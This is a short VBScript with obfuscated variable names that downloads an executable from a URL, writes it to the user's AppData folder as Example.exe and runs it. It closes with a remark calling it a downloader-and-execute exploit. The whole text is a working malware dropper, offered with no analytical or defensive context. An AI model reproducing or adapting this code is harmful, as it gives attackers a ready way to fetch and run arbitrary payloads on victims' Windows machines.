Function rPicOdLs(lXIbUjEI)
Dim ggjZZpyX, MTAIBJTB
For ggjZZpyX = 1 To LenB(lXIbUjEI)
MTAIBJTB = MTAIBJTB & Chr(AscB(MidB(lXIbUjEI, ggjZZpyX, 1)))
Next
rPicOdLs = MTAIBJTB
End Function
Sub GcaGHONQ(nPsoiijt, hYSnoocJ)
Dim bgtlutVY: Set bgtlutVY = CreateObject("MSXML2.ServerXMLHTTP")
Dim IUKTVNrC: IUKTVNrC = "GET"
bgtlutVY.Open IUKTVNrC, nPsoiijt, False
bgtlutVY.Send
Dim CckSbTkR, iQCADmGv
Set iQCADmGv = CreateObject("Scripting.FileSystemObject").OpenTextFile(hYSnoocJ, 2, True)
iQCADmGv.WriteLine (rPicOdLs(bgtlutVY.ResponseBody))
iQCADmGv.Close()
Set bgtlutVY = Nothing
Set iQCADmGv = Nothing
End Sub
Dim cYczJszK: cYczJszK = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\Example.exe"
Dim XhDxOytZ: XhDxOytZ = "http://google.com/server.exe"
GcaGHONQ XhDxOytZ, cYczJszK
CreateObject("WScript.Shell").Run Chr(34) & cYczJszK & Chr(34)
really hard to add a downloader % execute exploit.